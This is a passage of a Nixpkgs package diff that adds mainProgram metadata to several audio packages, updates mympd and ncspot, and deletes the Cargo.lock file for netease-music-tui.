a0e6a0527f7d8..a59f2e376db03 100644 --- a/pkgs/applications/audio/mp3gain/default.nix +++ b/pkgs/applications/audio/mp3gain/default.nix @@ -33,5 +33,6 @@ stdenv.mkDerivation rec { license = licenses.lgpl21; platforms = platforms.unix; maintainers = with maintainers; [ devhell ]; + mainProgram = "mp3gain"; }; } diff --git a/pkgs/applications/audio/mp3val/default.nix b/pkgs/applications/audio/mp3val/default.nix index 559f04f919f1b..daa03617824b1 100644 --- a/pkgs/applications/audio/mp3val/default.nix +++ b/pkgs/applications/audio/mp3val/default.nix @@ -33,5 +33,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl2; platforms = lib.platforms.unix; maintainers = [ lib.maintainers.devhell ]; + mainProgram = "mp3val"; }; } diff --git a/pkgs/applications/audio/museeks/default.nix b/pkgs/applications/audio/museeks/default.nix index 2db7b9e46df4c..206fee9de709b 100644 --- a/pkgs/applications/audio/museeks/default.nix +++ b/pkgs/applications/audio/museeks/default.nix @@ -34,5 +34,6 @@ appimageTools.wrapType2 { license = licenses.mit; platforms = [ "x86_64-linux" ]; maintainers = with maintainers; [ zendo ]; + mainProgram = "museeks"; }; } diff --git a/pkgs/applications/audio/music-player/default.nix b/pkgs/applications/audio/music-player/default.nix index e44963090a1f6..b28785d9368b3 100644 --- a/pkgs/applications/audio/music-player/default.nix +++ b/pkgs/applications/audio/music-player/default.nix @@ -40,5 +40,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/tsirysndr/music-player/releases/tag/v${version}"; license = licenses.mit; maintainers = [ maintainers.marsam ]; + mainProgram = "music-player"; }; } diff --git a/pkgs/applications/audio/musly/default.nix b/pkgs/applications/audio/musly/default.nix index 1ae6624637a18..43c5fc3365d15 100644 --- a/pkgs/applications/audio/musly/default.nix +++ b/pkgs/applications/audio/musly/default.nix @@ -29,5 +29,6 @@ stdenv.mkDerivation { license = licenses.mpl20; maintainers = with maintainers; [ ggpeti ]; platforms = with platforms; darwin ++ linux; + mainProgram = "musly"; }; } diff --git a/pkgs/applications/audio/mympd/default.nix b/pkgs/applications/audio/mympd/default.nix index 46f027f9996e6..a757ca391e1b6 100644 --- a/pkgs/applications/audio/mympd/default.nix +++ b/pkgs/applications/audio/mympd/default.nix @@ -16,13 +16,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "mympd"; - version = "14.0.2"; + version = "14.0.4"; src = fetchFromGitHub { owner = "jcorporation"; repo = "myMPD"; rev = "v${finalAttrs.version}"; - sha256 = "sha256-tyNX/bPKg4aWDnSrzymdcz5ZbTlyowuoizm6kQngHj8="; + sha256 = "sha256-kPh3u6mjTxoqGlhei8kPOyrjU9m7zpv16y5PaGHBsIA="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/audio/ncmpc/default.nix b/pkgs/applications/audio/ncmpc/default.nix index 7459becc08d0e..db76f3777224d 100644 --- a/pkgs/applications/audio/ncmpc/default.nix +++ b/pkgs/applications/audio/ncmpc/default.nix @@ -40,5 +40,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; platforms = platforms.all; maintainers = with maintainers; [ fpletz ]; + mainProgram = "ncmpc"; }; } diff --git a/pkgs/applications/audio/ncpamixer/default.nix b/pkgs/applications/audio/ncpamixer/default.nix index b503f5308b821..d33024c0dfbe3 100644 --- a/pkgs/applications/audio/ncpamixer/default.nix +++ b/pkgs/applications/audio/ncpamixer/default.nix @@ -39,5 +39,6 @@ stdenv.mkDerivation rec { license = licenses.mit; platforms = platforms.linux; maintainers = teams.c3d2.members; + mainProgram = "ncpamixer"; }; } diff --git a/pkgs/applications/audio/ncspot/default.nix b/pkgs/applications/audio/ncspot/default.nix index 553e50f16654f..e70a2eb26f174 100644 --- a/pkgs/applications/audio/ncspot/default.nix +++ b/pkgs/applications/audio/ncspot/default.nix @@ -12,20 +12,23 @@ , withPulseAudio ? false, libpulseaudio , withPortAudio ? false, portaudio , withMPRIS ? true, withNotify ? true, dbus +, nix-update-script +, testers +, ncspot }: rustPlatform.buildRustPackage rec { pname = "ncspot"; - version = "1.0.0"; + version = "1.1.0"; src = fetchFromGitHub { owner = "hrkfdn"; repo = "ncspot"; rev = "v${version}"; - hash = "sha256-NHrpJC6cF/YAcyqZ4bRQdSdjDNhkEV7U2P/S4LSADao="; + hash = "sha256-RgA3jV/vD6qgIVQCZ0Sm+9CST4SlqN4MUurVM3nIdh0="; }; - cargoHash = "sha256-HT084XewXwZByL5KZhyymqU7sy99SAjYIWysm3qGvWU="; + cargoHash = "sha256-8ZUgm1O4NmZpxgNRKnh1MNhiFNoBWQHo22kyP3hWJwI="; nativeBuildInputs = [ pkg-config ] ++ lib.optional withClipboard python3; @@ -53,11 +56,22 @@ rustPlatform.buildRustPackage rec { ++ lib.optional withMPRIS "mpris" ++ lib.optional withNotify "notify"; + postInstall = '' + install -D --mode=444 $src/misc/ncspot.desktop $out/share/applications/${pname}.desktop + install -D --mode=444 $src/images/logo.svg $out/share/icons/hicolor/scalable/apps/${pname}.png + ''; + + passthru = { + updateScript = nix-update-script { }; + tests.version = testers.testVersion { package = ncspot; }; + }; + meta = with lib; { description = "Cross-platform ncurses Spotify client written in Rust, inspired by ncmpc and the likes"; homepage = "https://github.com/hrkfdn/ncspot"; changelog = "https://github.com/hrkfdn/ncspot/releases/tag/v${version}"; license = licenses.bsd2; - maintainers = [ maintainers.marsam ]; + maintainers = with maintainers; [ marsam liff ]; + mainProgram = "ncspot"; }; } diff --git a/pkgs/applications/audio/netease-music-tui/Cargo.lock b/pkgs/applications/audio/netease-music-tui/Cargo.lock deleted file mode 100644 index 471b1a53eae7d..0000000000000 --- a/pkgs/applications/audio/netease-music-tui/Cargo.lock +++ /dev/null @@ -1,2778 +0,0 @@ -# This file is automatically @generated by Cargo. -# It is not intended for manual editing. -version = 3 - -[[package]] -name = "addr2line" -version = "0.17.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b9ecd88a8c8378ca913a680cd98f0f13ac67383d35993f86c90a70e3f137816b" -dependencies = [ - "gimli", -] - -[[package]] -name = "adler" -version = "1.0.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" - -[[package]] -name = "aho-corasick" -version = "0.7.19" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4f55bd91a0978cbfd91c457a164bab8b4001c833b7f323132c0a4e1922dd44e" -dependencies = [ - "memchr", -] - -[[package]] -name = "alsa" -version = "0.6.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5915f52fe2cf65e83924d037b6c5290b7cee097c6b5c8700746e6168a343fd6b" -dependencies = [ - "alsa-sys", - "bitflags", - "libc", - "nix", -] - -[[package]] -name = "alsa-sys" -version = "0.3.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "db8fee663d06c4e303404ef5f40488a53e062f89ba8bfed81f42325aafad1527" -dependencies = [ - "libc", - "pkg-config", -] - -[[package]] -name = "android_system_properties" -version = "0.1.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" -dependencies = [ - "libc", -] - -[[package]] -name = "async-compression" -version = "0.3.15" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "942c7cd7ae39e91bde4820d74132e9862e62c2f386c3aa90ccf55949f5bad63a" -dependencies = [ - "bytes 0.5.6", - "flate2", - "futures-core", - "memchr", - "pin-project-lite 0.2.9", -] - -[[package]] -name = "autocfg" -version = "1.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" - -[[package]] -name = "backtrace" -version = "0.3.66" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cab84319d616cfb654d03394f38ab7e6f0919e181b1b57e1fd15e7fb4077d9a7" -dependencies = [ - "addr2line", - "cc", - "cfg-if 1.0.0", - "libc", - "miniz_oxide", - "object", - "rustc-demangle", -] - -[[package]] -name = "base-x" -version = "0.2.11" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4cbbc9d0964165b47557570cce6c952866c2678457aca742aafc9fb771d30270" - -[[package]] -name = "base64" -version = "0.11.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b41b7ea54a0c9d92199de89e20e58d49f02f8e699814ef3fdf266f6f748d15c7" - -[[package]] -name = "base64" -version = "0.13.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" - -[[package]] -name = "bindgen" -version = "0.61.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8a022e58a142a46fea340d68012b9201c094e93ec3d033a944a24f8fd4a4f09a" -dependencies = [ - "bitflags", - "cexpr", - "clang-sys", - "lazy_static 1.4.0", - "lazycell", - "peeking_take_while", - "proc-macro2", - "quote", - "regex", - "rustc-hash", - "shlex", - "syn", -] - -[[package]] -name = "bitflags" -version = "1.3.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" - -[[package]] -name = "bumpalo" -version = "3.11.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "572f695136211188308f16ad2ca5c851a712c464060ae6974944458eb83880ba" - -[[package]] -name = "byteorder" -version = "1.4.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610" - -[[package]] -name = "bytes" -version = "0.4.12" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "206fdffcfa2df7cbe15601ef46c813fce0965eb3286db6b56c583b814b51c81c" -dependencies = [ - "byteorder", - "iovec", -] - -[[package]] -name = "bytes" -version = "0.5.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0e4cec68f03f32e44924783795810fa50a7035d8c8ebe78580ad7e6c703fba38" - -[[package]] -name = "bytes" -version = "1.2.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ec8a7b6a70fde80372154c65702f00a0f56f3e1c36abbc6c440484be248856db" - -[[package]] -name = "cassowary" -version = "0.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "df8670b8c7b9dae1793364eafadf7239c40d669904660c5960d74cfd80b46a53" - -[[package]] -name = "cc" -version = "1.0.76" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "76a284da2e6fe2092f2353e51713435363112dfd60030e22add80be333fb928f" -dependencies = [ - "jobserver", -] - -[[package]] -name = "cesu8" -version = "1.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6d43a04d8753f35258c91f8ec639f792891f748a1edbd759cf1dcea3382ad83c" - -[[package]] -name = "cexpr" -version = "0.6.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766" -dependencies = [ - "nom 7.1.1", -] - -[[package]] -name = "cfg-if" -version = "0.1.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822" - -[[package]] -name = "cfg-if" -version = "1.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" - -[[package]] -name = "chrono" -version = "0.4.23" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "16b0a3d9ed01224b22057780a37bb8c5dbfe1be8ba48678e7bf57ec4b385411f" -dependencies = [ - "iana-time-zone", - "js-sys", - "num-integer", - "num-traits 0.2.15", - "time 0.1.44", - "wasm-bindgen", - "winapi 0.3.9", -] - -[[package]] -name = "clang-sys" -version = "1.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fa2e27ae6ab525c3d369ded447057bca5438d86dc3a68f6faafb8269ba82ebf3" -dependencies = [ - "glob", - "libc", - "libloading", -] - -[[package]] -name = "claxon" -version = "0.4.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4bfbf56724aa9eca8afa4fcfadeb479e722935bb2a0900c2d37e0cc477af0688" - -[[package]] -name = "codespan-reporting" -version = "0.11.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3538270d33cc669650c4b093848450d380def10c331d38c768e34cac80576e6e" -dependencies = [ - "termcolor", - "unicode-width", -] - -[[package]] -name = "combine" -version = "4.6.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "35ed6e9d84f0b51a7f52daf1c7d71dd136fd7a3f41a8462b8cdb8c78d920fad4" -dependencies = [ - "bytes 1.2.1", - "memchr", -] - -[[package]] -name = "config" -version = "0.9.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f9107d78ed62b3fa5a86e7d18e647abed48cfd8f8fab6c72f4cdb982d196f7e6" -dependencies = [ - "lazy_static 1.4.0", - "nom 4.2.3", - "rust-ini", - "serde 1.0.147", - "serde-hjson", - "serde_json", - "toml 0.4.10", - "yaml-rust", -] - -[[package]] -name = "const_fn" -version = "0.4.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fbdcdcb6d86f71c5e97409ad45898af11cbc995b4ee8112d59095a28d376c935" - -[[package]] -name = "cookie" -version = "0.14.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "03a5d7b21829bc7b4bf4754a978a241ae54ea55a40f92bb20216e54096f4b951" -dependencies = [ - "percent-encoding", - "time 0.2.27", - "version_check 0.9.4", -] - -[[package]] -name = "cookie_store" -version = "0.12.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3818dfca4b0cb5211a659bbcbb94225b7127407b2b135e650d717bfb78ab10d3" -dependencies = [ - "cookie", - "idna 0.2.3", - "log", - "publicsuffix", - "serde 1.0.147", - "serde_json", - "time 0.2.27", - "url", -] - -[[package]] -name = "core-foundation" -version = "0.9.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146" -dependencies = [ - "core-foundation-sys", - "libc", -] - -[[package]] -name = "core-foundation-sys" -version = "0.8.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5827cebf4670468b8772dd191856768aedcb1b0278a04f989f7766351917b9dc" - -[[package]] -name = "coreaudio-rs" -version = "0.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "11894b20ebfe1ff903cbdc52259693389eea03b94918a2def2c30c3bf227ad88" -dependencies = [ - "bitflags", - "coreaudio-sys", -] - -[[package]] -name = "coreaudio-sys" -version = "0.2.11" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1a9444b94b8024feecc29e01a9706c69c1e26bfee480221c90764200cfd778fb" -dependencies = [ - "bindgen", -] - -[[package]] -name = "cpal" -version = "0.13.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "74117836a5124f3629e4b474eed03e479abaf98988b4bb317e29f08cfe0e4116" -dependencies = [ - "alsa", - "core-foundation-sys", - "coreaudio-rs", - "jni", - "js-sys", - "lazy_static 1.4.0", - "libc", - "mach", - "ndk", - "ndk-glue", - "nix", - "oboe", - "parking_lot", - "stdweb 0.1.3", - "thiserror", - "web-sys", - "winapi 0.3.9", -] - -[[package]] -name = "crc32fast" -version = "1.3.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d" -dependencies = [ - "cfg-if 1.0.0", -] - -[[package]] -name = "cxx" -version = "1.0.82" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d4a41a86530d0fe7f5d9ea779916b7cadd2d4f9add748b99c2c029cbbdfaf453" -dependencies = [ - "cc", - "cxxbridge-flags", - "cxxbridge-macro", - "link-cplusplus", -] - -[[package]] -name = "cxx-build" -version = "1.0.82" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "06416d667ff3e3ad2df1cd8cd8afae5da26cf9cec4d0825040f88b5ca659a2f0" -dependencies = [ - "cc", - "codespan-reporting", - "once_cell", - "proc-macro2", - "quote", - "scratch", - "syn", -] - -[[package]] -name = "cxxbridge-flags" -version = "1.0.82" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "820a9a2af1669deeef27cb271f476ffd196a2c4b6731336011e0ba63e2c7cf71" - -[[package]] -name = "cxxbridge-macro" -version = "1.0.82" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a08a6e2fcc370a089ad3b4aaf54db3b1b4cee38ddabce5896b33eb693275f470" -dependencies = [ - "proc-macro2", - "quote", - "syn", -] - -[[package]] -name = "darling" -version = "0.13.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a01d95850c592940db9b8194bc39f4bc0e89dee5c4265e4b1807c34a9aba453c" -dependencies = [ - "darling_core", - "darling_macro", -] - -[[package]] -name = "darling_core" -version = "0.13.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "859d65a907b6852c9361e3185c862aae7fafd2887876799fa55f5f99dc40d610" -dependencies = [ - "fnv", - "ident_case", - "proc-macro2", - "quote", - "strsim", - "syn", -] - -[[package]] -name = "darling_macro" -version = "0.13.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9c972679f83bdf9c42bd905396b6c3588a843a17f0f16dfcfa3e2c5d57441835" -dependencies = [ - "darling_core", - "quote", - "syn", -] - -[[package]] -name = "dbus" -version = "0.7.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "add8dd36d6d34a084220eb9fe216d3e230d52b37c31702e1ffda4fb2d4ef950e" -dependencies = [ - "libc", - "libdbus-sys", -] - -[[package]] -name = "dirs" -version = "2.0.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "13aea89a5c93364a98e9b37b2fa237effbb694d5cfe01c5b70941f7eb087d5e3" -dependencies = [ - "cfg-if 0.1.10", - "dirs-sys", -] - -[[package]] -name = "dirs-sys" -version = "0.3.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b1d1d91c932ef41c0f2663aa8b0ca0342d444d842c06914aa0a7e352d0bada6" -dependencies = [ - "libc", - "redox_users", - "winapi 0.3.9", -] - -[[package]] -name = "discard" -version = "1.0.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "212d0f5754cb6769937f4501cc0e67f4f4483c8d2c3e1e922ee9edbe4ab4c7c0" - -[[package]] -name = "dtoa" -version = "0.4.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "56899898ce76aaf4a0f24d914c97ea6ed976d42fec6ad33fcbb0a1103e07b2b0" - -[[package]] -name = "either" -version = "1.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "90e5c1c8368803113bf0c9584fc495a58b86dc8a29edbf8fe877d21d9507e797" - -[[package]] -name = "encoding_rs" -version = "0.8.31" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9852635589dc9f9ea1b6fe9f05b50ef208c85c834a562f0c6abb1c475736ec2b" -dependencies = [ - "cfg-if 1.0.0", -] - -[[package]] -name = "failure" -version = "0.1.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d32e9bd16cc02eae7db7ef620b392808b89f6a5e16bb3497d159c6b92a0f4f86" -dependencies = [ - "backtrace", - "failure_derive", -] - -[[package]] -name = "failure_derive" -version = "0.1.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aa4da3c766cd7a0db8242e326e9e4e081edd567072893ed320008189715366a4" -dependencies = [ - "proc-macro2", - "quote", - "syn", - "synstructure", -] - -[[package]] -name = "fastrand" -version = "1.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a7a407cfaa3385c4ae6b23e84623d48c2798d06e3e6a1878f7f59f17b3f86499" -dependencies = [ - "instant", -] - -[[package]] -name = "flate2" -version = "1.0.24" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f82b0f4c27ad9f8bfd1f3208d882da2b09c301bc1c828fd3a00d0216d2fbbff6" -dependencies = [ - "crc32fast", - "miniz_oxide", -] - -[[package]] -name = "fnv" -version = "1.0.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" - -[[package]] -name = "foreign-types" -version = "0.3.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" -dependencies = [ - "foreign-types-shared", -] - -[[package]] -name = "foreign-types-shared" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" - -[[package]] -name = "form_urlencoded" -version = "1.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a9c384f161156f5260c24a097c56119f9be8c798586aecc13afbcbe7b7e26bf8" -dependencies = [ - "percent-encoding", -] - -[[package]] -name = "fuchsia-zircon" -version = "0.3.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2e9763c69ebaae630ba35f74888db465e49e259ba1bc0eda7d06f4a067615d82" -dependencies = [ - "bitflags", - "fuchsia-zircon-sys", -] - -[[package]] -name = "fuchsia-zircon-sys" -version = "0.3.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3dcaa9ae7725d12cdb85b3ad99a434db70b468c09ded17e012d86b5c1010f7a7" - -[[package]] -name = "futures" -version = "0.3.25" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "38390104763dc37a5145a53c29c63c1290b5d316d6086ec32c293f6736051bb0" -dependencies = [ - "futures-channel", - "futures-core", - "futures-executor", - "futures-io", - "futures-sink", - "futures-task", - "futures-util", -] - -[[package]] -name = "futures-channel" -version = "0.3.25" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "52ba265a92256105f45b719605a571ffe2d1f0fea3807304b522c1d778f79eed" -dependencies = [ - "futures-core", - "futures-sink", -] - -[[package]] -name = "futures-core" -version = "0.3.25" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "04909a7a7e4633ae6c4a9ab280aeb86da1236243a77b694a49eacd659a4bd3ac" - -[[package]] -name = "futures-executor" -version = "0.3.25" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7acc85df6714c176ab5edf386123fafe217be88c0840ec11f199441134a074e2" -dependencies = [ - "futures-core", - "futures-task", - "futures-util", -] - -[[package]] -name = "futures-io" -version = "0.3.25" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "00f5fb52a06bdcadeb54e8d3671f8888a39697dcb0b81b23b55174030427f4eb" - -[[package]] -name = "futures-macro" -version = "0.3.25" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bdfb8ce053d86b91919aad980c220b1fb8401a9394410e1c289ed7e66b61835d" -dependencies = [ - "proc-macro2", - "quote", - "syn", -] - -[[package]] -name = "futures-sink" -version = "0.3.25" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "39c15cf1a4aa79df40f1bb462fb39676d0ad9e366c2a33b590d7c66f4f81fcf9" - -[[package]] -name = "futures-task" -version = "0.3.25" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2ffb393ac5d9a6eaa9d3fdf37ae2776656b706e200c8e16b1bdb227f5198e6ea" - -[[package]] -name = "futures-util" -version = "0.3.25" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "197676987abd2f9cadff84926f410af1c183608d36641465df73ae8211dc65d6" -dependencies = [ - "futures-channel", - "futures-core", - "futures-io", - "futures-macro", - "futures-sink", - "futures-task", - "memchr", - "pin-project-lite 0.2.9", - "pin-utils", - "slab", -] - -[[package]] -name = "getrandom" -version = "0.1.16" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce" -dependencies = [ - "cfg-if 1.0.0", - "libc", - "wasi 0.9.0+wasi-snapshot-preview1", -] - -[[package]] -name = "getrandom" -version = "0.2.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c05aeb6a22b8f62540c194aac980f2115af067bfe15a0734d7277a768d396b31" -dependencies = [ - "cfg-if 1.0.0", - "libc", - "wasi 0.11.0+wasi-snapshot-preview1", -] - -[[package]] -name = "gimli" -version = "0.26.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "22030e2c5a68ec659fde1e949a745124b48e6fa8b045b7ed5bd1fe4ccc5c4e5d" - -[[package]] -name = "glob" -version = "0.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9b919933a397b79c37e33b77bb2aa3dc8eb6e165ad809e58ff75bc7db2e34574" - -[[package]] -name = "h2" -version = "0.2.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5e4728fd124914ad25e99e3d15a9361a879f6620f63cb56bbb08f95abb97a535" -dependencies = [ - "bytes 0.5.6", - "fnv", - "futures-core", - "futures-sink", - "futures-util", - "http", - "indexmap", - "slab", - "tokio", - "tokio-util", - "tracing", - "tracing-futures", -] - -[[package]] -name = "hashbrown" -version = "0.12.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" - -[[package]] -name = "hermit-abi" -version = "0.1.19" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" -dependencies = [ - "libc", -] - -[[package]] -name = "hex" -version = "0.4.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" - -[[package]] -name = "hound" -version = "3.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4d13cdbd5dbb29f9c88095bbdc2590c9cba0d0a1269b983fef6b2cdd7e9f4db1" - -[[package]] -name = "http" -version = "0.2.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "75f43d41e26995c17e71ee126451dd3941010b0514a81a9d11f3b341debc2399" -dependencies = [ - "bytes 1.2.1", - "fnv", - "itoa 1.0.4", -] - -[[package]] -name = "http-body" -version = "0.3.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "13d5ff830006f7646652e057693569bfe0d51760c0085a071769d142a205111b" -dependencies = [ - "bytes 0.5.6", - "http", -] - -[[package]] -name = "httparse" -version = "1.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d897f394bad6a705d5f4104762e116a75639e470d80901eed05a860a95cb1904" - -[[package]] -name = "httpdate" -version = "0.3.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "494b4d60369511e7dea41cf646832512a94e542f68bb9c49e54518e0f468eb47" - -[[package]] -name = "hyper" -version = "0.13.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8a6f157065790a3ed2f88679250419b5cdd96e714a0d65f7797fd337186e96bb" -dependencies = [ - "bytes 0.5.6", - "futures-channel", - "futures-core", - "futures-util", - "h2", - "http", - "http-body", - "httparse", - "httpdate", - "itoa 0.4.8", - "pin-project", - "socket2", - "tokio", - "tower-service", - "tracing", - "want", -] - -[[package]] -name = "hyper-tls" -version = "0.4.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d979acc56dcb5b8dddba3917601745e877576475aa046df3226eabdecef78eed" -dependencies = [ - "bytes 0.5.6", - "hyper", - "native-tls", - "tokio", - "tokio-tls", -] - -[[package]] -name = "iana-time-zone" -version = "0.1.53" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "64c122667b287044802d6ce17ee2ddf13207ed924c712de9a66a5814d5b64765" -dependencies = [ - "android_system_properties", - "core-foundation-sys", - "iana-time-zone-haiku", - "js-sys", - "wasm-bindgen", - "winapi 0.3.9", -] - -[[package]] -name = "iana-time-zone-haiku" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0703ae284fc167426161c2e3f1da3ea71d94b21bedbcc9494e92b28e334e3dca" -dependencies = [ - "cxx", - "cxx-build", -] - -[[package]] -name = "ident_case" -version = "1.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" - -[[package]] -name = "idna" -version = "0.2.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "418a0a6fab821475f634efe3ccc45c013f742efe03d853e8d3355d5cb850ecf8" -dependencies = [ - "matches", - "unicode-bidi", - "unicode-normalization", -] - -[[package]] -name = "idna" -version = "0.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e14ddfc70884202db2244c223200c204c2bda1bc6e0998d11b5e024d657209e6" -dependencies = [ - "unicode-bidi", - "unicode-normalization", -] - -[[package]] -name = "indexmap" -version = "1.9.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1885e79c1fc4b10f0e172c475f458b7f7b93061064d98c3293e98c5ba0c8b399" -dependencies = [ - "autocfg", - "hashbrown", -] - -[[package]] -name = "instant" -version = "0.1.12" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" -dependencies = [ - "cfg-if 1.0.0", -] - -[[package]] -name = "iovec" -version = "0.1.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = 